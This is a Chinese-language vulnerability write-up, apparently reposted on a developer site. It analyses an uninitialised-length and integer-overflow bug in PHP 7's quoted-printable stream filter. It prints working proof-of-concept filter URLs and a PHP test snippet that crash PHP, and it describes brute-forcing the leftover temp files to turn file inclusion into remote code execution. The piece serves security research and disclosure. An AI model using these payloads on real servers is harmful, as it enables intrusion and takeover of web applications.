LFI to RCE without session.upload

栏目: PHP · 发布时间: 5年前

内容简介:在

One Line PHP Challenge

HITCON2018 由:tangerine:出的 One Line PHP Challenge ,利用了 filter 编码与 session.upload 搭配,从而构造出开头是 @<?php 的文件流,达成了RCE。

题目详情与writeup

A new way to exploit PHP7.2 from LFI to RCE

分析过程1

HITCON2018 的比赛过程中,我尝试了 convert.quoted-printable-encode 这个filter,但是我在data部分传入超大ascii码的字符时( php://filter/convert.quoted-printable-encode/resource=data://,%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf ),发现服务器报了 500 ,在本地测试,发现报错为:

LFI to RCE without session.upload

然后我就产生的疑问: 这么简单的功能,这么少的字符总数,为什么会分配这么多内存直到超过 limit ?

赛后我稍微跟了一下,发现最终的原因是陷入 strfilter_convert_append_bucket() 的循环里,每次倍增分配内存的大小。

https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1492

循环主体为:

// 获取的返回值一直为 PHP_CONV_ERR_TOO_BIG
err = php_conv_convert(inst->cd, &pt, &tcnt, &pd, &ocnt);

...

case PHP_CONV_ERR_TOO_BIG: {
	char *new_out_buf;
	size_t new_out_buf_size;
    
    
        
	new_out_buf_size = out_buf_size << 1;
        /*
         这里的new_out_buf_size为out_buf_size左移一位
         也就是说如果out_buf_size为一个比较小的数字,下面的if恒不成立 
        */
	if (new_out_buf_size < out_buf_size) {
	
	    if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) {
			goto out_failure; //只有这里能跳出循环
	    }

            php_stream_bucket_append(buckets_out, new_bucket);

            out_buf_size = ocnt = initial_out_buf_size;
            out_buf = pemalloc(out_buf_size, persistent);
            pd = out_buf;
	} else {
            //这里不断的在尝试alloc memory,因为陷入了循环,且分配大小每次倍增,所以很快就超过了限制
	    new_out_buf = perealloc(out_buf, new_out_buf_size, persistent);
	    pd = new_out_buf + (pd - out_buf);
	    ocnt += (new_out_buf_size - out_buf_size);
	    out_buf = new_out_buf;
	    out_buf_size = new_out_buf_size;
	    }
        } break;

按照 PHP 开发人员正常的逻辑,生成 PHP_CONV_ERR_TOO_BIG 错误就代表 out_buf_size 是个大数,通过左移能丢失最高位变成一个小数,从而进入 if 分支goto跳出循环,但是这里的问题是, errPHP_CONV_ERR_TOO_BIG , out_buf_size 是个小数。

我们来回溯一下为什么是这样

#define php_conv_convert(a, b, c, d, e) ((php_conv *)(a))->convert_op((php_conv *)(a), (b), (c), (d), (e))

LFI to RCE without session.upload

调用了 inst->cd->convert_op() ,也就是 php_conv_qprint_encode_convert()

static php_conv_err_t php_conv_qprint_encode_convert(php_conv_qprint_encode *inst, const char **in_pp, size_t *in_left_p, char **out_pp, size_t *out_left_p)
{
	php_conv_err_t err = PHP_CONV_ERR_SUCCESS;
	unsigned char *ps, *pd;
	size_t icnt, ocnt;
	unsigned int c;
	unsigned int line_ccnt;
	unsigned int lb_ptr;
	unsigned int lb_cnt;
	unsigned int trail_ws;
	int opts;
	static char qp_digits[] = "0123456789ABCDEF";

	line_ccnt = inst->line_ccnt;
	opts = inst->opts;
	lb_ptr = inst->lb_ptr;
	lb_cnt = inst->lb_cnt;

	if ((in_pp == NULL || in_left_p == NULL) && (lb_ptr >=lb_cnt)) {
		return PHP_CONV_ERR_SUCCESS;
	}

	ps = (unsigned char *)(*in_pp);
	icnt = *in_left_p;
	pd = (unsigned char *)(*out_pp);
	ocnt = *out_left_p;
	trail_ws = 0;

	for (;;) {
		if (!(opts & PHP_CONV_QPRINT_OPT_BINARY) && inst->lbchars != NULL && inst->lbchars_len > 0) {

所有的传入参数如下:

LFI to RCE without session.upload

LFI to RCE without session.upload

按照预期,qprint支持的可编码字符应该传入到这个分支

https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L896

但是因为我输入的字符中包含ascii码大于126的,导致进入了 else 分支 https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L919

inst->lbchars_len 可以看见是一个非常大的数,所以进入到了 if (ocnt < inst->lbchars_len + 1) 这个分支,导致一直返回 TOO BIG error

} else {
	if (line_ccnt < 4) {
		if (ocnt < inst->lbchars_len + 1) {
			err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
			break;
		}
		*(pd++) = '=';
		ocnt--;
		line_ccnt--;

		memcpy(pd, inst->lbchars, inst->lbchars_len);
		pd += inst->lbchars_len;
		ocnt -= inst->lbchars_len;
		line_ccnt = inst->line_len;
	}
	if (ocnt < 3) {
		err = PHP_CONV_ERR_TOO_BIG;
		break;
	}
	*(pd++) = '=';
	*(pd++) = qp_digits[(c >> 4)];
	*(pd++) = qp_digits[(c & 0x0f)];
	ocnt -= 3;
	line_ccnt -= 3;
	if (trail_ws > 0) {
		trail_ws--;
	}
	CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}

为什么 lbchars_len 这么大呢?

我发现它最初赋值的位置是

static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent)
{
	if (line_len < 4 && lbchars != NULL) {
		return PHP_CONV_ERR_TOO_BIG;
	}
	inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert;
	inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor;
	inst->line_ccnt = line_len;
	inst->line_len = line_len;
	if (lbchars != NULL) {
		inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars);
		inst->lbchars_len = lbchars_len;//这里赋值
	} else {
		inst->lbchars = NULL;
	}
	inst->lbchars_dup = lbchars_dup;
	inst->persistent = persistent;
	inst->opts = opts;
	inst->lb_cnt = inst->lb_ptr = 0;
	return PHP_CONV_ERR_SUCCESS;
}

inst 初始化的时候

https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1337

case PHP_CONV_QPRINT_ENCODE: {
	unsigned int line_len = 0;
	char *lbchars = NULL;
	size_t lbchars_len;
	int opts = 0;

	if (options != NULL) {
            ...
	}
	retval = pemalloc(sizeof(php_conv_qprint_encode), persistent);
        if (lbchars != NULL) {
		...
        
	} else {
            if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) {
			goto out_failure;
			}
		}
	} break;

因为我们使用 php:// 没有对 convert.quoted-printable-encode 附加 options , 所以这里的 options 就是 NULL ,,一直到了 else 分支, 我们可以看到他传的参数为 (php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)

至此,导致 lbcharsNULL ,导致 lbchars_len 没有被赋值。

第一个结论

inst->lbchars_len 变量未初始化调用

分析过程2

因为 inst->lbchars_len 是未初始化调用,是从内存中相应位置取出的值,PHP涉及到很多内存操作,那么有没有可能让我们控制整个值呢? 根据定义,我们知道lbchars_len长度为 8bytes ,通过调整 附加data 的长度,我发现会有一些request报文头的 8bytes 被存储到 inst->lbchars_len

LFI to RCE without session.upload

继续调整,将url的param部分泄露了出来 LFI to RCE without session.upload

LFI to RCE without session.upload

LFI to RCE without session.upload

这样我们就可以控制 inst->lbchars_len 的值了,但是因为 php://resource 内容不能包含 \x00 ,所以只能构造 \x01 - \xff 的内容

再回头看

} else {
	if (line_ccnt < 4) {
		if (ocnt < inst->lbchars_len + 1) {
			err = PHP_CONV_ERR_TOO_BIG;//BUG的成因
			break;
		}
		*(pd++) = '=';
		ocnt--;
		line_ccnt--;

		memcpy(pd, inst->lbchars, inst->lbchars_len);
		pd += inst->lbchars_len;
		ocnt -= inst->lbchars_len;
		line_ccnt = inst->line_len;
	}
	if (ocnt < 3) {
		err = PHP_CONV_ERR_TOO_BIG;
		break;
	}
	*(pd++) = '=';
	*(pd++) = qp_digits[(c >> 4)];
	*(pd++) = qp_digits[(c & 0x0f)];
	ocnt -= 3;
	line_ccnt -= 3;
	if (trail_ws > 0) {
		trail_ws--;
	}
	CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt);
}

可以发现 memcpy 的位置第二个参数是 NULL ,第一个,第三个参数可控,如果被调用,会导致一个 segfault ,从而在 tmp 下驻留文件,但是我们无法使用 %00 ,如何让 ocnt < inst->lbchars_len + 1 不成立呢?( ocnt 为data的长度),这里就要利用整数溢出,将 lbchars_len + 1 溢出到0

结论2

https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L921

inst->lbchars_len 可控且存在整数溢出

构造poc

所以控制可控部分为 \xff\xff\xff\xff\xff\xff\xff\xff 即可

以下poc会把 inst->lbchars_len 赋值成12345678(string)

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA87654321AAAAAAAAAAAAAAAAAAAAAAAA

如果要进入到 memcpy ,需要把相应部分替换成 %ff

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

此POC可导致PHP异常退出,tmp下的文件来不及回收,从而可以利用这些临时文件getshell.

可参考的tmp爆破方式

(生成62**3个文件,再去爆破)(小技巧: 每次请求可以发送20个文件)

其他问题

内存泄露

根据 ocnt < inst->lbchars_len + 1 这个判断条件,因为左式是data长度,是可控的,右侧是可以内存泄露的内容转int+1,所以存在着内存泄露的风险,不过十分难控制,而且泄露的大多是没用的(因为request报文存储在其附近)

heap overflow

memcpy() 第一个第三个参数可控,但是第二个参数因为是 NULL ,导致现在只能利用其segfault,所以很可惜(审了一下附近的代码,暂时没发现因这个可控参数引起的其他漏洞)

漏洞适用版本

test code

<?php
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
?>

7.3 LFI to RCE without session.upload 7.2 LFI to RCE without session.upload 7.1 LFI to RCE without session.upload 7.0 LFI to RCE without session.upload

全版本通杀 PHP>7


以上所述就是小编给大家介绍的《LFI to RCE without session.upload》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

How to Think About Algorithms

How to Think About Algorithms

Jeff Edmonds / Cambridge University Press / 2008-05-19 / USD 38.99

HOW TO THINK ABOUT ALGORITHMS There are many algorithm texts that provide lots of well-polished code and proofs of correctness. Instead, this one presents insights, notations, and analogies t......一起来看看 《How to Think About Algorithms》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

html转js在线工具
html转js在线工具

html转js在线工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换